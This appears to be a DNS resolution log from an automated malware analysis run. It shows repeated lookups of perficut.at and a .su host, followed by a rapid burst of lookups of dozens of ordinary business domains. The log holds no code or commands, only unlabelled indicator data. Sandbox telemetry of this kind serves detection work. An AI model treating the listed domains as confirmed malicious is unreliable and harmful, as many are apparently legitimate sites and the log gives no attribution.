Feb 16, 2023 10:02:01.219739914 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:01.219739914 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:01.219739914 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:01.219739914 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:01.219739914 CET	8.8.8.8	192.168.2.4	0x49ca	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:03.254012108 CET	8.8.8.8	192.168.2.4	0xab3	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:03.254012108 CET	8.8.8.8	192.168.2.4	0xab3	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:03.254012108 CET	8.8.8.8	192.168.2.4	0xab3	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:03.254012108 CET	8.8.8.8	192.168.2.4	0xab3	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:03.254012108 CET	8.8.8.8	192.168.2.4	0xab3	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:03.254012108 CET	8.8.8.8	192.168.2.4	0xab3	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:03.254012108 CET	8.8.8.8	192.168.2.4	0xab3	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:03.254012108 CET	8.8.8.8	192.168.2.4	0xab3	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:03.254012108 CET	8.8.8.8	192.168.2.4	0xab3	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:03.254012108 CET	8.8.8.8	192.168.2.4	0xab3	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:04.670348883 CET	8.8.8.8	192.168.2.4	0x6a6c	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:04.670348883 CET	8.8.8.8	192.168.2.4	0x6a6c	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:04.670348883 CET	8.8.8.8	192.168.2.4	0x6a6c	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:04.670348883 CET	8.8.8.8	192.168.2.4	0x6a6c	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:04.670348883 CET	8.8.8.8	192.168.2.4	0x6a6c	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:04.670348883 CET	8.8.8.8	192.168.2.4	0x6a6c	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:04.670348883 CET	8.8.8.8	192.168.2.4	0x6a6c	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:04.670348883 CET	8.8.8.8	192.168.2.4	0x6a6c	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:04.670348883 CET	8.8.8.8	192.168.2.4	0x6a6c	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:04.670348883 CET	8.8.8.8	192.168.2.4	0x6a6c	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:06.903814077 CET	8.8.8.8	192.168.2.4	0xcc6e	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:06.903814077 CET	8.8.8.8	192.168.2.4	0xcc6e	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:06.903814077 CET	8.8.8.8	192.168.2.4	0xcc6e	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:06.903814077 CET	8.8.8.8	192.168.2.4	0xcc6e	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:06.903814077 CET	8.8.8.8	192.168.2.4	0xcc6e	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:06.903814077 CET	8.8.8.8	192.168.2.4	0xcc6e	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:06.903814077 CET	8.8.8.8	192.168.2.4	0xcc6e	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:06.903814077 CET	8.8.8.8	192.168.2.4	0xcc6e	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:06.903814077 CET	8.8.8.8	192.168.2.4	0xcc6e	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:06.903814077 CET	8.8.8.8	192.168.2.4	0xcc6e	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:08.832777977 CET	8.8.8.8	192.168.2.4	0x1945	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:08.832777977 CET	8.8.8.8	192.168.2.4	0x1945	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:08.832777977 CET	8.8.8.8	192.168.2.4	0x1945	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:08.832777977 CET	8.8.8.8	192.168.2.4	0x1945	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:08.832777977 CET	8.8.8.8	192.168.2.4	0x1945	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:08.832777977 CET	8.8.8.8	192.168.2.4	0x1945	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:08.832777977 CET	8.8.8.8	192.168.2.4	0x1945	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:08.832777977 CET	8.8.8.8	192.168.2.4	0x1945	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:08.832777977 CET	8.8.8.8	192.168.2.4	0x1945	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:08.832777977 CET	8.8.8.8	192.168.2.4	0x1945	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:10.470860004 CET	8.8.8.8	192.168.2.4	0x505d	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:10.470860004 CET	8.8.8.8	192.168.2.4	0x505d	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:10.470860004 CET	8.8.8.8	192.168.2.4	0x505d	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:10.470860004 CET	8.8.8.8	192.168.2.4	0x505d	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:10.470860004 CET	8.8.8.8	192.168.2.4	0x505d	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:10.470860004 CET	8.8.8.8	192.168.2.4	0x505d	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:10.470860004 CET	8.8.8.8	192.168.2.4	0x505d	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:10.470860004 CET	8.8.8.8	192.168.2.4	0x505d	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:10.470860004 CET	8.8.8.8	192.168.2.4	0x505d	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:10.470860004 CET	8.8.8.8	192.168.2.4	0x505d	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:11.659533024 CET	8.8.8.8	192.168.2.4	0x248d	No error (0)	h167471.srv11.test-hf.su		91.227.16.11	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:12.957976103 CET	8.8.8.8	192.168.2.4	0xf5ab	No error (0)	perficut.at		95.158.162.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:12.957976103 CET	8.8.8.8	192.168.2.4	0xf5ab	No error (0)	perficut.at		187.245.185.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:12.957976103 CET	8.8.8.8	192.168.2.4	0xf5ab	No error (0)	perficut.at		187.212.182.57	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:12.957976103 CET	8.8.8.8	192.168.2.4	0xf5ab	No error (0)	perficut.at		123.140.161.243	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:12.957976103 CET	8.8.8.8	192.168.2.4	0xf5ab	No error (0)	perficut.at		37.34.248.24	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:12.957976103 CET	8.8.8.8	192.168.2.4	0xf5ab	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:12.957976103 CET	8.8.8.8	192.168.2.4	0xf5ab	No error (0)	perficut.at		211.119.84.112	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:12.957976103 CET	8.8.8.8	192.168.2.4	0xf5ab	No error (0)	perficut.at		80.210.25.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:12.957976103 CET	8.8.8.8	192.168.2.4	0xf5ab	No error (0)	perficut.at		2.180.10.7	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:12.957976103 CET	8.8.8.8	192.168.2.4	0xf5ab	No error (0)	perficut.at		222.236.49.123	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.723999977 CET	8.8.8.8	192.168.2.4	0x178a	No error (0)	www.pdqhomes.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:38.723999977 CET	8.8.8.8	192.168.2.4	0x178a	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:38.723999977 CET	8.8.8.8	192.168.2.4	0x178a	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.723999977 CET	8.8.8.8	192.168.2.4	0x178a	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.725173950 CET	8.8.8.8	192.168.2.4	0x2e6f	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:38.725173950 CET	8.8.8.8	192.168.2.4	0x2e6f	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.726850033 CET	8.8.8.8	192.168.2.4	0x6c92	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.729341984 CET	8.8.8.8	192.168.2.4	0xde33	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.729341984 CET	8.8.8.8	192.168.2.4	0xde33	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.730644941 CET	8.8.8.8	192.168.2.4	0xdf61	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:38.730644941 CET	8.8.8.8	192.168.2.4	0xdf61	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.737678051 CET	8.8.8.8	192.168.2.4	0xbbc6	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:38.737678051 CET	8.8.8.8	192.168.2.4	0xbbc6	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.741123915 CET	8.8.8.8	192.168.2.4	0xff8e	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.742305040 CET	8.8.8.8	192.168.2.4	0xbab2	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.784363985 CET	8.8.8.8	192.168.2.4	0x5693	No error (0)	www.rs-ag.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.784363985 CET	8.8.8.8	192.168.2.4	0x5693	No error (0)	www.rs-ag.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.829313993 CET	8.8.8.8	192.168.2.4	0x8f1b	No error (0)	www.alteor.cl	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:38.829313993 CET	8.8.8.8	192.168.2.4	0x8f1b	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:38.829313993 CET	8.8.8.8	192.168.2.4	0x8f1b	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.851327896 CET	8.8.8.8	192.168.2.4	0xa27e	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.851327896 CET	8.8.8.8	192.168.2.4	0xa27e	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.851327896 CET	8.8.8.8	192.168.2.4	0xa27e	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.910860062 CET	8.8.8.8	192.168.2.4	0x2051	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.918159962 CET	8.8.8.8	192.168.2.4	0x5e3c	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:38.918159962 CET	8.8.8.8	192.168.2.4	0x5e3c	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.918159962 CET	8.8.8.8	192.168.2.4	0x5e3c	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.955770969 CET	8.8.8.8	192.168.2.4	0xd954	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.963257074 CET	8.8.8.8	192.168.2.4	0x656a	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:38.963257074 CET	8.8.8.8	192.168.2.4	0x656a	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.964040995 CET	8.8.8.8	192.168.2.4	0x4dcd	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.964040995 CET	8.8.8.8	192.168.2.4	0x4dcd	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.964040995 CET	8.8.8.8	192.168.2.4	0x4dcd	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.011544943 CET	8.8.8.8	192.168.2.4	0xac0c	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.044061899 CET	8.8.8.8	192.168.2.4	0xb277	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.044061899 CET	8.8.8.8	192.168.2.4	0xb277	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.073090076 CET	8.8.8.8	192.168.2.4	0xb9a6	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.073090076 CET	8.8.8.8	192.168.2.4	0xb9a6	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.073090076 CET	8.8.8.8	192.168.2.4	0xb9a6	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.099447012 CET	8.8.8.8	192.168.2.4	0x83d8	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.099447012 CET	8.8.8.8	192.168.2.4	0x83d8	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.099447012 CET	8.8.8.8	192.168.2.4	0x83d8	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.127835989 CET	8.8.8.8	192.168.2.4	0x57a9	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.127835989 CET	8.8.8.8	192.168.2.4	0x57a9	No error (0)	ghs.googlehosted.com		142.250.203.115	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.207139015 CET	8.8.8.8	192.168.2.4	0x27ca	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.207139015 CET	8.8.8.8	192.168.2.4	0x27ca	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.207139015 CET	8.8.8.8	192.168.2.4	0x27ca	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.217488050 CET	8.8.8.8	192.168.2.4	0x3445	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.311674118 CET	8.8.8.8	192.168.2.4	0xddf3	No error (0)	www.otena.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.316212893 CET	8.8.8.8	192.168.2.4	0xda18	No error (0)	www.wifi4all.nl		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.316212893 CET	8.8.8.8	192.168.2.4	0xda18	No error (0)	www.wifi4all.nl		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.382766008 CET	8.8.8.8	192.168.2.4	0x1654	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.382766008 CET	8.8.8.8	192.168.2.4	0x1654	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.415923119 CET	8.8.8.8	192.168.2.4	0xdac3	No error (0)	www.petsfan.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.415923119 CET	8.8.8.8	192.168.2.4	0xdac3	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.415923119 CET	8.8.8.8	192.168.2.4	0xdac3	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.415923119 CET	8.8.8.8	192.168.2.4	0xdac3	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.433231115 CET	8.8.8.8	192.168.2.4	0xf6fe	No error (0)	www.fcwcvt.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.433231115 CET	8.8.8.8	192.168.2.4	0xf6fe	No error (0)	www.fcwcvt.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.489744902 CET	8.8.8.8	192.168.2.4	0xeb1	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.489744902 CET	8.8.8.8	192.168.2.4	0xeb1	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.569719076 CET	8.8.8.8	192.168.2.4	0xbe46	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.590204000 CET	8.8.8.8	192.168.2.4	0x65fc	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.605591059 CET	8.8.8.8	192.168.2.4	0x82f0	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.605591059 CET	8.8.8.8	192.168.2.4	0x82f0	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.699193001 CET	8.8.8.8	192.168.2.4	0x7131	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.699193001 CET	8.8.8.8	192.168.2.4	0x7131	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.723167896 CET	8.8.8.8	192.168.2.4	0x81ff	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.723167896 CET	8.8.8.8	192.168.2.4	0x81ff	No error (0)	sjbs.org		162.214.120.26	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.835310936 CET	8.8.8.8	192.168.2.4	0x2e4a	No error (0)	www.cokocoko.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.835310936 CET	8.8.8.8	192.168.2.4	0x2e4a	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.835310936 CET	8.8.8.8	192.168.2.4	0x2e4a	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.835310936 CET	8.8.8.8	192.168.2.4	0x2e4a	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.858769894 CET	8.8.8.8	192.168.2.4	0xd2d5	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.909748077 CET	8.8.8.8	192.168.2.4	0x5085	No error (0)	www.snugpak.com		104.21.73.182	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.909748077 CET	8.8.8.8	192.168.2.4	0x5085	No error (0)	www.snugpak.com		172.67.165.62	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.942013025 CET	8.8.8.8	192.168.2.4	0xc00e	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:39.942013025 CET	8.8.8.8	192.168.2.4	0xc00e	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.952569962 CET	8.8.8.8	192.168.2.4	0xad24	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.952569962 CET	8.8.8.8	192.168.2.4	0xad24	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.060117960 CET	8.8.8.8	192.168.2.4	0xf06e	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:40.060117960 CET	8.8.8.8	192.168.2.4	0xf06e	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.072626114 CET	8.8.8.8	192.168.2.4	0x6a86	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.131290913 CET	8.8.8.8	192.168.2.4	0xc535	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.134172916 CET	8.8.8.8	192.168.2.4	0x84c6	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.166835070 CET	8.8.8.8	192.168.2.4	0x6c8a	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.213033915 CET	8.8.8.8	192.168.2.4	0x5ff4	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:40.213033915 CET	8.8.8.8	192.168.2.4	0x5ff4	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.220910072 CET	8.8.8.8	192.168.2.4	0x800e	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.284765959 CET	8.8.8.8	192.168.2.4	0x4fd6	Name error (3)	www.medisa.info	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.289767981 CET	8.8.8.8	192.168.2.4	0xde0c	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:40.289767981 CET	8.8.8.8	192.168.2.4	0xde0c	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.299091101 CET	8.8.8.8	192.168.2.4	0xc03	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:40.299091101 CET	8.8.8.8	192.168.2.4	0xc03	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.350965977 CET	8.8.8.8	192.168.2.4	0x7706	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.360913038 CET	8.8.8.8	192.168.2.4	0x2ed	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.390860081 CET	8.8.8.8	192.168.2.4	0x6684	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:40.390860081 CET	8.8.8.8	192.168.2.4	0x6684	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.459575891 CET	8.8.8.8	192.168.2.4	0x7e46	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 10:02:40.459575891 CET	8.8.8.8	192.168.2.4	0x7e46	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.495965004 CET	8.8.8.8	192.168.2.4	0x54ba	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.505608082 CET	8.8.8.8	192.168.2.4	0xe749	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.524661064 CET	8.8.8.8	192.168.2.4	0x6c1f	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.551214933 CET	8.8.8.8	192.168.2.4	0x9a55	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.613774061 CET	8.8.8.8	192.168.2.4	0x1e92	No error (0)	www.findbc.com		13.248.216.40	A (IP address)	IN (0x0001)	false
